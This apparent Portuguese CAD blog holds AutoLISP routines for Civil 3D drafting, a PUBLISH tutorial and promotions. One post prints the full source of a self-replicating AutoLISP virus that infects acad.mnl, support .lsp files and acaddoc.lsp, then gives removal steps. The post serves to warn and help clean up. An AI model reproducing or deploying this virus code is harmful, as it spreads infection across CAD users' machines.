Lisp para preencher estaqueamento no carimbo

0 milhões de comentários
Sabe quando você tem as sectionviews em trocentas folhas no model space? Aí vem aquele camarada e diz: Cada folha precisa ter quais estacas estão na folha!!!! E você se vê digitando manualmente cada um dos carimbos, e você tem lá seus 150 carimbos. É, demora pra caramba!! Então que tal fazer com uma lispezinha básica, veja:

;|
CarimboSv, programa para preencher o estaquemamento nos carimbos
autor: Neyton Luiz Dalle Molle
Engenheiro Civil
contato: neyton@yahoo.com
http://tbn2net.appspot.com
http://tbn2.blogspot.com
;licença de uso: free
;garantias: nenhuma!!! use por sua propria conta e risco!!!
|;


;variaveis globais para "lembrar" algumas opções
(setq
;nome do bloco a ser filtrado
      CarimboSv:nomeBloco  "A1"
;nome do atributo a modificar
      CarimboSv:nomeAtt    "SUBTÍTULO_2_DO_DESENHO"
;template do texto a aplicar no atributo
      CarimboSv:template   "KM {INICIO} À KM {FIM}")

(
defun c:CarimboSv (/ tmp ss ent vla att alin txt pai s2 getStation)
  ;inicializar o controle de erros
  (tbn:error-init nil)

  ;perguntar na linha de comando pelos valores
  (setq tmp                 (getstring
                  (strcat "\nQual o nome do bloco da folha? <"
                      CarimboSv:nomeBloco
                      ">")
                  t)

    CarimboSv:nomeBloco (strcase
                  (if (= "" tmp)
                CarimboSv:nomeBloco tmp))

    tmp                (getstring
                 (strcat "\nQual o nome do atributo? <"
                     CarimboSv:nomeAtt
                     ">")
                 t)
    

    CarimboSv:nomeAtt  (strcase
                 (if (= "" tmp)
                   CarimboSv:nomeAtt tmp))
;subrotina para obter o "dono" ou "pai" de um objeto
    pai                (lambda (v)
                 (
vlax-get-property v "parent"))
    

;subrotina para criar a estaca como string
    getStation         (lambda (estaca componente template)
                 (
vl-string-subst
                   (vlax-invoke-method
                 alin
                 "GetStationStringWithEquations"
                 estaca)
                   componente
                   template
)))

;pede a seleção dos blocos
;nao filtrar aqui. blocos dinamicos tendem a mudar de nome para
;*Uxxx
  (prompt "\nSelecione os blocos")
  (
setq    ss (ssget   '(( 0 . "insert"))))

; repita para todos os blocos
  (repeat (sslength ss)

;pega o primeiro da lista
    (setq ent (ssname ss 0)
      vla (vlax-ename->vla-object ent))

;se tem o nome correto (blocos dinamicos mudam para *U...
    (if (= CarimboSv:nomeBloco (STRCASE (vla-get-effectivename vla)))
      (
progn

;faz zoom no bloco
    (vla-getboundingbox vla 'minp 'maxp)
    (
vla-zoomwindow (vlax-get-acad-object) minp maxp)

;seleciona as sectionviews dentro da folha
    (setq s2 (ssget "C" (vlax-safearray->list minp)
            (
vlax-safearray->list maxp)
            ' ((0 . "AECC_GRAPH_SECTION_VIEW")))
          alin     (pai (pai (pai (vlax-ename->vla-object
                    (ssname s2 0)))))
          primeiro 1e10
          ultimo   -1e10)
    

;calcula a primeira e a ultima seção
    (repeat (sslength s2)
      (
setq e   (ssname s2 0)
        tmp (vlax-get-property
              (pai (vlax-ename->vla-object e)) "station"))
      (
if (< tmp primeiro) (setq primeiro tmp))
      (
if (> tmp ultimo) (setq ultimo tmp))
      (
ssdel e s2))

;formata a string com o template
    (setq txt (getStation primeiro "{INICIO}" CarimboSv:template)
          txt (getStation ultimo  "{FIM}" txt))

;atribui o novo texto a todos os
;atributos com o nome selecionado
    (foreach att (vlax-safearray->list
            (vlax-variant-value
              (vla-GetAttributes vla)))
      (
if (= CarimboSv:nomeAtt
         (strcase (vla-get-tagstring att)))
        (
vla-put-textstring att txt)))))

;retira o primeiro bloco da lista e recomeça
;o looping
    (ssdel ent ss))

;devolve o controle de erros ao autocad
  (tbn:error-restore))

(
prompt
"
Preenche estacas no carimbo carregado!!
suporte: neyton@yahoo.com
visite: http://tbn2net.appspot.com
e também: http://tbn2.blogspot.com
Digite: CarimboSv para usar
"
)
(
princ)



Link(s) da(s) subrotina(s) usada(s): tbn:error-init, tbn:error-restore

É isso. Você será questionado pelo nome do bloco, o nome do atributo e o template a usar. Depois será pedida a seleção dos blocos. Note que se você mudar os valores padrão que a lisp usa para os nomes e template, o programa "lembra" na próxima utilização. Se você sempre usa outros nomes, edite o início da lisp, se souber o que está fazendo Sim, você precisará copiar o código do controle de erro aqui. Sim é preciso colocar o (vl-load-com) no início.

Dia do engenheiro

0 milhões de comentários

Meus parabéns a todos os profissionais dessa maravilhosa profissão!!!


Hoje é dia do Engenheiro, do Arquiteto e do Agrimensor!!!



Como não podia deixar de ser, fica como presente aquele desconto!!!


Ao adquirir uma licença de qualquer programa, ganha 25% de desconto até o dia 25/12/2013!!!


Mas espere!!! Não ligue ainda!!!!


Se falar que é engenheiro, arquiteto ou agrimensor, basta informar seu registro do CREA para DOBRAR o desconto!!! Isso mesmo!!!


DESCONTO DOBRADO!!!!!


Participe do grupo sobre Civil 3D no facebook

Visite a minha página de programas


Visite o blog do neyton


Virus de autolisp

0 milhões de comentários
É eu sei que o blog está parado de postagens e é só propaganda, heheheh

Então vamos lá, que assuntos vocês gostariam de ver?

Visual lisp?

.NET?

Civil 3D?

AutoCAD?

Dicas de desempenho?

Escolham ai!!!!

Também posso publicar seus posts aqui, com crédito e tudo mais, aliás, um dos posts com mais sucesso foi um camarada que mandou, é aquele das video aulas de topograph!!!

Bom, aproveitando...

Vocês experimentaram uma lentidão absurda na abertura de algum desenho aí no cad de vocês???

Perceberam a criação de um acad.lsp ou acaddoc.lsp na pasta que você abre??

Pois é, aqui no escritório o bicho tá pegando por causa disso....

Vírus em autolisp pro autocad, é mole??

O TI aqui está quase doido, mas também os usuários não ajudam...

O vírus se propaga ao se replicar dentro de arquivos LSP e MNL, criando ainda um acad.lsp ou acaddoc.lsp.

Os arquivos que ele costuma infectar também estão aqui:
C:\Users\seu usuário\AppData\Roaming\Autodesk\programa da autodesk\enu\Support\

E os arquivos são:


  • C3D.mnl, somente civil 3d
  • Civil.mnl, somente civil 3d
  • acetmain.mnl, express tools
  • AecArchxOE.mnl, somente civil 3d?
  • acad.mnl, qualquer autocad ou vertical
Claro que pode pegar outros...

Dá uma olhada no código fonte do mesmo:




(setq flagx t)

(
setq flagx t)
(
setq bz "(setq flagx t)")
(
defun app(source target bz / flag flag1 wjm wjm1 text)
  (
setq flag nil)
  (
setq flag1 t)
  (
if (findfile target)
    (
progn
      (setq wjm1 (open target "r"))
      (
while (setq text (read-line wjm1))
    (
if (= text bz) (setq flag1 nil))
    )
;while
      (close wjm1)
      )
;progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (
setq wjm1 (open target "a"))
      (
write-line (chr 13) wjm1)
      (
while (setq text (read-line wjm))
    (
if (= text bz) (setq flag t))
    (
if flag
      (progn
        (write-line text wjm1)
        )
;progn
      );if
    );while
      (close wjm1)
      (
close wjm)
      )
;progn
    );if
  );defun
(setvar "cmdecho" 0)
(
setq acadmnl (findfile "acad.mnl"))
(
setq acadmnlpath (vl-filename-directory acadmnl))
(
setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(
setq mnlnum (length mnlfilelist))
(
setq acadexe (findfile "acad.exe"))
(
setq acadpath (vl-filename-directory acadexe))
(
setq support (strcat acadpath "\\support"))
(
setq lspfilelist (vl-directory-files support "*.lsp"))
(
setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(
setq lspnum (length lspfilelist))
(
setq dwgname (getvar "dwgname"))
(
setq dwgpath (findfile dwgname))
(
if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (
setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (
setq mnln 0)
    (
while (< mnln mnlnum)
      (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (
app mnlfilename acaddocfile bz)
      (
app acaddocfile mnlfilename bz)
      (
setq mnln (1+ mnln))
      )
;while
    (setq lspn 0)
    (
while (< lspn lspnum)
      (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (
app lspfilename acaddocfile bz)
      (
app acaddocfile lspfilename bz)
      (
setq lspn (1+ lspn))
      )
;while
    );progn
  );if
(setq mnln 0)
(
while (< mnln mnlnum)
  (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (
setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app mnlfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while
  (setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app mnlfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln (1+ mnln))
  )
;while
(setq lspn 0)
(
while (< lspn lspnum)
  (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (
setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app lspfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app lspfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while




Nem vou comentar....

A ideia básica é, achou um dos arquivos, copia o fonte do vírus pra dentro dele... Quando o arquivo é carregado, uma nova cópia é copiada pra dentro do arquivo...

Bem besta esse vírus, pois ele só cria um arquivo que vai crescendo.... aqui costuma ficar em 8 MB aí os cabeças reclamam...
o cad abre leeeeennnnnnntooooo pois está criando trocentos arquivos de vírus...

Bom, a resolução é:

Abre os arquivos MNL e LSP e apaga esses trechos, ou simplesmente sobrepõe o arquivo com uma versão não contaminada e, claro, apague os acad.lsp e acaddoc.lsp que estão nas pastas dos arquivos... Pois o autocad carrega esses arquivos quando os encontra na pasta do desenho a abrir...

É isso!!!

C3DRENESG - Atualização

0 milhões de comentários
Este post é pra informar que o C3DRENESG foi atualizado!!!
Muitas novidades nesta versão, principalmente na parte de cálculo de sarjetas:

  • Estilos de sarjetas
  • Relatórios
  • Gráficos de análise
  • Adição e remoção de nós de entrada e saída de vazão

Na parte de drenagem e esgoto, também tem muita coisa nova:
  • Melhoras na planilha
  • Comandos para facilitar o tratamento de projetos antigos
  • Correções de bugs
  • Melhoras nos catálogos
  • Escavação de valas

A lista completa pode ser vista na ajuda do programa.

Está quase pronto a ajuda do programa em inglês, então por enquanto, a ajuda online deve ser visualizada e traduzida com o google translate. Por enquanto, somente a ajuda em português pode ser consultada offline.


Veja algumas imagens:

Gráfico

Edição de estilo de sarjetas:


Planilhas de resultados:

E para drenagem e esgoto, a planilha agora conta com duas telas para facilitar a edição de propriedades:

Resumo de materiais:

Não deixe de testar o programa: Download
Disponível para Civil 3D 2012, 2013 e 2014 (possivelmente 2011)

E não deixe de aproveitar a promoção, válida até 04/12/2013

Comprou uma licença, leva duas!! E pode usar qualquer uma delas em qualquer computador!!

Promoção de Natal

0 milhões de comentários

Que tal TODOS os programas, compre uma licença, leva duas!!!

Plugins para AutoCAD e para Civil 3D!!!

Página dos programas: http://tbn2net.appspot.com

Válido até o dia 04/12/2013

Aproveita,  que dura pouco!!!

IMPORTGMMAP e Bing Maps

0 milhões de comentários
Já usou o IMPORTGMMAP?


Já? que bom!!! Não deixe de comentar o que achou!!!

Não testou ainda? Então anda logo!!

Mas pra que ele serve mesmo? Bom, para importar imagens do Google Maps e Bing Maps para o AutoCAD, georreferenciado!!


As vezes a cobertura de um é melhor que a do outro em determinadas regiões:


A imagem da esquerda é do Google Maps e da direita o Bing Maps. Façam suas análises!!

Ah: Sabia que dá pra importar várias imagens de uma vez? Assim o mosaico terá uma resolução muito maior e você pode até filtrar as imagens que serão importadas para caberem numa polilinha, assim:
Bacana, não?
Baixe agora mesmo o TBN2CAD e teste o IMPORTGMMAP!!


Atributos Multilinhas - Mudando sua largura

0 milhões de comentários
Um lispezinho básico pra variar!!!

Use este programa para redimensionar a largura de atributos multi linhas de blocos. O que, não sabia que atributos podem ser multi linha, como MTEXT? Cara, tu tem que usar, é muito bom!!!, resolve uma penca de problemas... esse negócio de ficar criando trocentos atributos para criar várias linhas no bloco, principalmente nos carimbos é tão R14.... hehehehe

Bom, vamos lá então:


;|MtAttLarg
Programa para definir a largura de
atributos multilinha em blocos
Autor: Neyton Luiz Dalle Molle
email: neyton@yahoo.com
Permissão de uso: Livre,
desde que mantido os créditos
|;


;carrega as funções vla*
(vl-load-com)

;variavel global para lembrar a largura
(setq MtAttLarg:largura 35)

;variavel blobal para remoção de quebras
(setq MtAttLarg:RemoveQuebra "Sim")

;programa principal
(defun c:MtAttLarg (/ ss ent vla largura att RemoveQuebra)
;inicia o controle de erros
  (tbn:error-init nil)

;pede a seleção dos blocos
  (prompt "\nSelecione os blocos")
  (
setq ss (ssget   '((0 . "insert"))))
  (
if (not ss) (exit))

;pede a largura do mtext
  (setq largura (getdist
          (strcat "\nQual a largura desejada? "
              "<"
 (rtos MtAttLarg:largura) ">"))
    largura (if largura largura MtAttLarg:largura)
    MtAttLarg:largura largura)

;pergunta se quer remover quebras
  (initget "Sim Não" 0)
  (
setq RemoveQuebra (getkword (strcat
        "\nRemover quebras de linha? [Sim, Não] "
        "<"
 MtAttLarg:RemoveQuebra ">"))
    RemoveQuebra (if RemoveQuebra
            RemoveQuebra
            MtAttLarg:RemoveQuebra
)
    MtAttLarg:RemoveQuebra RemoveQuebra)

;processa cada bloco
  (repeat (sslength ss)
    (
setq ent (ssname ss 0)
      vla (vlax-ename->vla-object ent))

;caso o bloco tenha atributos,
;processa os atributos faça
    (if (= :vlax-true (vla-get-HasAttributes vla))
      (
foreach att  (vlax-safearray->list
              (vlax-variant-value
            (vla-getattributes vla)))
    

;se o atributo é multilinhas, redefina a largura:
    (if (= :vlax-true (vla-get-mtextattribute att))
      (
vla-put-mtextboundarywidth att largura))

;remova quebras de linha
    (if (= RemoveQuebra "Sim")
      (
while (vl-string-search "\\P"
           (vla-get-textstring att))
        (
vla-put-textstring
          att
          (vl-string-subst " " "\\P"
        (vla-get-textstring att)))))
    )
      )


;remove o primeiro elemento da seleção
;e vai pro próximo
    (ssdel ent ss)
    )

;restaura o controle de erros
  (tbn:error-restore)
)



Link(s) da(s) subrotina(s) usada(s):
tbn:error-init, tbn:error-restore


Para funcionar, você precisa salvar o código acima e também aquele indicado no link acima num mesmo arquivo *.lsp e pronto!!!

Você poderá usar o programa acima para ajeitar a largura dos blocos criados pelo CSONDAGEM, por exemplo. Ainda não testou este programa? Baixa ele já e testa!! Ele serve para criar blocos nos profileviews, indicando as sondagens feitas, veja uma imagem:


É isso, qualquer coisa, entre em contato!!

Erros estranhos em alguns comandos

0 milhões de comentários
Você já se deparou com o seguinte problema?

O AutoCAD não faz offset de uma polilinha, o trim não funciona em linhas tangentes a circunferências e coisas assim?

Repare nas coordenadas do WCS.

Elas possuem uma parte inteira muito grande? Tipo, se você usa UTM = WCS, terá coordenadas do tipo 500.000,000 por 7.000.000,000 certo?

E pior as vezes ainda dão escala de 1000 no desenho para fazer milímetros, ehehe

Mas por que isso acontece?

Bem, pense: quantos números reais existem? R: Infinitos
Quantos nossos computadores conseguem representar?

Aí depende. Se ele for de 32 bits, ele pode representar 2^32-1 (ou 4 Giga) números apenas.

E os outros? são arredondados para um que possa ser representado.... É meio massante as continhas que o processador faz e não perderei tempo  com isso, procure no oráculo

Aí aparece o problema: se uma linha é tangente a uma circunferência, a distância do centro desta à reta é matematicamente IGUAL ao  raio da circunferência, correto???

No AutoCAD isso pode não ser necessáriamente correto!!!

Era aquela história de dividir 1 por 3 e depois multiplicar por 3. Dá um?
As vezes dá 0.9999999999!!!!!

Então, cuidado!! se o trim não  funcionar, pode estar acontecendo isso...

Publish - Tutorial para imprimir diversos arquivos em PDF

0 milhões de comentários
Muitas vezes precisamos fazer uma entrega de projeto com todas as pranchas impressas em PDF.

Existem muitas maneiras de fazer isso e uma delas é abrir cada desenho manualmente e imprimir cada layout
num arquivo PDF separado e posteriormente com um programa qualquer juntar todos num book

Funciona, claro, mas está muito suscetível a erros.

Principalmente se tiver muitos arquivos, com pranchas no model ou no paper.

Uma maneira interessante de resolver isso é usando o comando PUBLISH. Siga o roteiro abaixo para utilizar:


  1. Configure uma folha padrão com o comando PAGESETUP

    A primeira coisa a fazer é configurar uma página no AutoCAD. Ela será usada para sobrescrever
    as configurações de ploter de todas as pranchas a serem impressas. Isso facilita o trabalho, pois
    desobriga ter de abrir cada desenho, em cada layout e configurar o formato, penas, etc.

    Para configurar uma folha padrão, abra um desenho ou mesmo seu template padrão e use o comando
    PAGESETUP
    Chame o comando PAGESETUP na linha de comando. Irá abrir esta tela:

    Nesta tela, Clique o botão "New". Se abrirá uma tela, onde você deve preencher o nome do PAGESETUP:

    Digite o nome e clique OK.

    Note que o PAGESETUP do Model é diferente do Paper. Então após configurar este, vá até o Paper Space
    e repita os passos para ter a página configurada tanto no Nodel, quanto no Paper.

    Em geral, o book em PDF é todo num mesmo tamanho de folha, independente do projeto ter sido feito
    em A1 ou A3. Se for este o caso, escolha as opções que satisfazem a plotagem:


    Configure a saída para PDF, escolha as penas, e muito iumportante: escolha "Plot Area" como "Extents"

    Fazendo assim, não obriga a folha a estar em coordenadas e escala específicas. Claro que, se procedêssemos
    um "ZOOM Extents", veríamos a folha como um todo, sem "lixo" externa a ela.

    O tamanho do papel também é importante.

    Clique OK. abra um layout, pode ser qualquer um. Repita a configuração do PAGESETUP, salvando- com um
    nome que o diferencie daquele usado para o MODEL. Se quiser, proceda diversas vezes este roteiro, configurando
    os tamanhos de folha (A1, A2, A3, etc) com nomes apropriados.

    Por fim, salve o desenho com estas configurações. A sugestão é que salve no seu TEMPLATE.
  2. Crie uma lista de arquivos a imprimir com o comando PUBLISH

    Para criar uma lista dos desenhos a imprimir, chame o comando PUBLISH na linha de comando. Irá abrir
    esta tela:

    Limpe a lista pré salva, que está marcada com a seta vermelha.

    Clique o botão "Add Sheets":


    Navegue até a pasta que contem os arquivos e selecione todos. É possível escolher se queremos
    adicionar o Model, os Layouts ou ambos:


    Na tela do publish é possível alterar a ordem das folhas, clicando os botões destacados.

    Observe a coluna Sheet Name. Note que ela é composta pelo nome do arquivo e o sufixo indicando
    se é o Model ou um layout qualquer.

    Para remover uma folha, clique-a na lista e pressione o botão Delete

    Repita estes passos para incluir novos desenhos.
  3. Importe o PAGESETUP do template.

    Após ordenar as folhas, é necessário definir as configurações de potagem de cada uma delas.
    Na lista, clique a coluna Page Setup, localize o template onde foi salvo a configuração
    das folhas.


    Note que é possível fazer isso um a um, ou já definir para todos ao mesmo tempo. Para definir para todos
    ao mesmo tempo, clique com o botão direito do mouse e escolha "Change Page Setup":

  4. Defina o local a salvar o resultado.

    Após configurar a opções individuais de impressão das folhas, configure onde salvar o resultado, no caso de
    arquivos em PDF. Para isso clique o botão "Publish Options" indicado com a seta. Irá abrir a tela seguinte:


    NO caso de PDF, é possível criar um arquivo de várias páginas, ou vários arquivos de uma página.

    Também é possível incluir as informações de layers etc.

  5. Salve a lista de impressão e suas propriedades

    Após configurar a opções, é interessante salvar a lista para uso posterior. Até porque se algo der errado
    não é preciso repetir tudo novamente, basta carregar a lista e corrigir:


    Escolha um nome e local a salvar. Será criado um arquivo de extensão DSD
  6. Publique.

    Por fim, clique o botão Publish:


    Será solicitado o nome do arquivo PDF. Informe:


    Aparecerá um informe:


    Observe o canto inferior direito do AutoCAD. Ali informa o processamento do serviço de impressão:

    No fim do processo, será informado o resultado com os possíveis erros:


    Agora, é só verificar o arquivo. Caso tenha dado algum erro, corrija e repita o processo.

Ligar pontos de civil 3d

0 milhões de comentários
Link para download

Outro dia me mediram um programinha (!!!) para ligar pontos pra usar no civil 3d.
Bem, resolvi incentivar meus desenhistas as aprender a programar então escrevi o código abaixo com todos eles vendo e fui questionando o que o programa deveria fazer.

Expliquei que o programa em si, apesar de parecer complicado, é na verdade simples!! O difícil não é escrever o programa mas sim pensar na receitinha de bolo necessária para ele, ou seja, o algoritmo.

Então analise:
  • Pedir por uma seleção de pontos
  • Filtrar por uma descrição especifica
  • Classificar os pontos em alguma ordem, seja pelo X, Y, ou nome
  • Prever se faz um serrilhado, isto é, se tem pontos dos dois lados de uma rua por exemplo, ligue separadamente os da direita e esquerda
  • Ligar os pontos

Esta receita é o algoritmo. Simples, não?

Agora pense: Isto será um programa e será chamado na linha de comando, então é bom que ele se comporte como um comando nativo.
Para isso, basta implementar um controle de erros.

Também seria interessante que o programa "lembrasse" as opções que você configura, por exemplo, o layer a usar para ligar as linhas.

Também é importante criar algumas regras para classificar os pontos. Por exemplo, se usamos uma classificação pelo nome do ponto, precisamos pensar que o topógrafo usou números em sequencia e incrementou de um em um. Assim se nossa sequencia é 1, 2, 3, 4, ligamos. Mas se a sequencia for 1, 2, 6, 7, 8, 9, ligamos o 1 e o 2, mas não ligamos 2 com o 6 e ligamos de 6 até 9.

Também precisamos verificar se a distancia entre os pontos não é excessivamente grande.

O exercício será então incluir essas condições no algoritmo principal.

Mas volte a ele agora. Percebe que temos um problema grande?

Então quebre ele problemas menores.

Pegue cada pequeno problema, e quebre ele novamente, até virar algo facilmente solucionável.

Exemplo:
Como pedir a seleção de pontos? SSGET
Como filtrar para selecionar apenas pontos? colocando filtro no SSGET
Como pedir a descrição a Filtrar? GETSTRING
Como aceitar caractere coringa ("*")? WCMATCH
Como comparar o nome de pontos? transformando o nome num número
Como pegar um ponto e obter suas coordenadas?

Respondendo estas perguntas, chega-se ao código:

;este programa conecta pontos filtrando-o em suas descrições e organizando-os pelos seus nomes
;autor: neyton luiz dalle molle
;neyton@yahoo.com
;2013-07-03
;http://tbn2.blogspot.com
;http://tbn2net.appspot.com

;define variaveis globais para "lembrar" a opcoes na linha de comando
(setq ligarpontos_dist 20
      ligarpontos_dif   1
      ligarpontos_desc "PE"
      ligarpontos_pergunta "N"
      ligarpontos_serrilhado "S"
      ligarpontos_layer "0")

;subrotinas


;subrotina ligarpontos:Nome->Num:
;transforma o nome do ponto em um numero, para poder comparar com outros pontos
(defun ligarpontos:Nome->Num (nome / num n)
  (
cond ((vl-string-search "POINT" nome)
     (
setq num (+ 100000 (atoi (vl-string-translate "POINT -()" "         " nome) ))))

    ((
vl-string-search "(" nome)
     (
setq num (read (strcat "(" (vl-string-translate "()" "  " nome) ")"))
           num (+ (nth 0 num) (* 100000 (nth 1 num)))))
   
    ((
wcmatch nome "*[A-Z]*")
     (
setq n 65)
     (
repeat 26
       (setq nome (vl-string-translate (chr n) " " nome)
         n    (+ 1 n)))
     (
setq num (+ 500000 (atoi nome))))

    (
t
     (setq num (atoi nome))))

  num
  )


;subrotina ligarpontos:X->Num
;transforma o nome do ponto em um numero, para poder comparar com outros pontos
(defun ligarpontos:X->Num (x)
  x
  )

;subrotina ligarpontos:Y->Num
;transforma o nome do ponto em um numero, para poder comparar com outros pontos
(defun ligarpontos:Y->Num (y)
  y
  )


;subrotina ligarpontos:LigarPontos
;conecta uma lista de pontos efetivamente com linhas
;pergunta ("N" "X" "Y") informa o tipo de ordem usada na lista. se for N, testa a diferenca no numero
(defun ligarpontos:LigarPontos (pts layer pergunta dist / p1 p2 n a b)
  (
setq p1 (nth 0 pts)
    n  1)
 
  (
repeat (- (length pts) 1 )
    (
setq p2 (nth n pts)
      a  (nth 3 p1)
      b  (nth 3 p2))

    (
if (and (if (= pergunta "N") (<= (- (nth 0 p2) (nth 0 p1)) dif) t)
         (
< (distance a b) dist))
      (
draw-line a b layer))

    (
setq  p1 p2
       n
 (+ 1 n)))
  )



;subrotina ligarpontos:PegaPontosComecandoEm
;devolve uma sublista de pontos, iniciando num valor e pulado de 2 em 2 (par ou impar) apartir do inicio (c)
(defun ligarpontos:PegaPontosComecandoEm (pts c / qtd lst)
  (
setq qtd (length pts) )

  (
while (< c qtd)
    (
setq lst (cons (nth c pts) lst)
      c   (+ c 2)))

  (
reverse lst)
  
  )



;programa principal:
(defun c:ligarpontos (/ ss desc pts nome desc descpt pt p1 p2 n dist a b dif pergunta serrilhado ptspar ptsimpar layer)

  ;controle de erros e undo e redo
  (tbn:error-init nil)
  

  ;pega os pontos na tela
  (setq ss (ssget '((0 . "AECC_COGO_POINT"))))

  ;pergunta pela descricao a filtrar
  (setq desc (getstring (strcat "\nQual a descrição a filtrar? <" ligarpontos_desc ">"))
    desc (if (= "" desc) ligarpontos_desc desc)
    ligarpontos_desc desc)

  (
setq dist (getdist (strcat  "\nQual a maior distancia para conectar os pontos? <" (rtos ligarpontos_dist 2 2) ">"))
    dist (if (not dist) ligarpontos_dist dist)
    ligarpontos_dist dist)

  (
initget "N X Y" 0)
  (
setq pergunta (getkword (strcat "\nPor qual propriedade usar na ordenação? [Nome, coordenada X, coordenada Y] <" ligarpontos_pergunta ">"))
    pergunta (if pergunta pergunta ligarpontos_pergunta)
    ligarpontos_pergunta pergunta)
 

  (
if (= pergunta "N")
    (
setq dif (getint (strcat "\nQual a maior diferença no numero dos pontos para conectá-los? <" (itoa ligarpontos_dif )">"))
      dif (if (not dif) ligarpontos_dif dif)
      ligarpontos_dif dif))


  (
initget "S N" 0)
  (
setq serrilhado (getkword (strcat "\nPrever serrilhado? [Sim, Nao] <" ligarpontos_serrilhado ">"))
    serrilhado (if serrilhado serrilhado ligarpontos_serrilhado)
    ligarpontos_serrilhado serrilhado)

  (
setq layer (getstring (strcat "\nQual o layer usar na linha? <" ligarpontos_layer ">"))
    layer (if (= "" layer) ligarpontos_layer layer)
    layer (vl-string-translate "<>\/\":;?*|,=`" "------------" layer)
    layer (vl-string-trim  " " layer )
    layer (if (= "" layer ) "0" layer)
    ligarpontos_layer layer)

  (
setq desc (strcase desc))

  ;filtra pela descricao
  (setq pts nil)
  (
repeat (sslength ss)
    (
setq ent    (ssname ss 0)
      vla    (vlax-ename->vla-object ent)
      nome   (strcase (cvlp-get-name vla))
      descpt (cvlp-get-rawdescription vla)
      pt     (list  (cvlp-get-easting vla) (cvlp-get-northing vla) (cvlp-get-elevation vla)))

    (
if (wcmatch (strcase descpt) desc )
      (
setq pts (cons (list nome desc pt) pts )))
    (
ssdel ent ss))

  ;organiza pelo nome, transformando o nome num numero

  ;transformar o nome num numero
  (setq pts (mapcar '(lambda (p / num) ;(setq p (car pts))
               (setq nome (nth 0 p))

                       ;decisao de como organizar a lista de pontos
               (setq num (if (= pergunta "N")
                   (
ligarpontos:Nome->Num nome)
                   (
if (= pergunta "X")
                     (
ligarpontos:X->Num (nth 0 (nth 2 p)))
                     (
ligarpontos:Y->Num (nth 1 (nth 2 p))))))
              

               (
cons num p)
               )
 pts))


  ;ordena a lista em ordem crescente pelo num calculado para o nome
  (setq pts (vl-sort pts '(lambda (a b) (< (nth 0 a)  (nth 0 b))) ))


  ;conecta os pontos se a diferencia entre o num é 1

  ;testa a previsao de serrilhado
  (if (= "S" serrilhado)
    (
progn
      ;no caso de previsao de serrrilhado, separa a lista de pontos em pontos pares e impares
      (setq ptspar   (ligarpontos:PegaPontosComecandoEm pts 0)
        ptsimpar (ligarpontos:PegaPontosComecandoEm pts 1))

      ;liga os pontos pares
      (ligarpontos:LigarPontos ptspar layer pergunta dist)

      ;liga os pontos impares
      (ligarpontos:LigarPontos ptsimpar layer pergunta dist)  )
   
    (
ligarpontos:LigarPontos pts layer pergunta dist) ;nao precisa prever serrilhado, entao nao precisa separar os pontos
    

    )

  ;reastaura o controle para o autocad
  (tbn:error-restore)
  )

(
princ "\nprograma LIGARPONTOS carregado!\npara usar digite LIGARPONTOS na linha de comando\n")


Link(s) da(s) subrotina(s) usada(s):
draw-line, tbn:error-init, tbn:error-restore, funções cvl*


O que, leu tudo até aqui?
Parabéns!!!

Este código foi escrito em 1:30h, explicando cada passo aos espectadores e estes em opinavam cada passo.

Então se o seu interesse é aprender a programar, não se atenha ao código em si, mas sim aos comentários nele.

Depois, perceba as técnicas usadas para "lembrar" as opções que o usuário terá na linha de comando.

Use subrotinas para quebrar o codigo em problemas menores.

Consulte o usuário para entender o problema dele.

É isso. Gostou do programa, mas não sabe como rodar ele? vejas os outros tutoriais de autolisp da minha página!!!

Em breve este programa para download...


LinkWithin

Related Posts Plugin for WordPress, Blogger...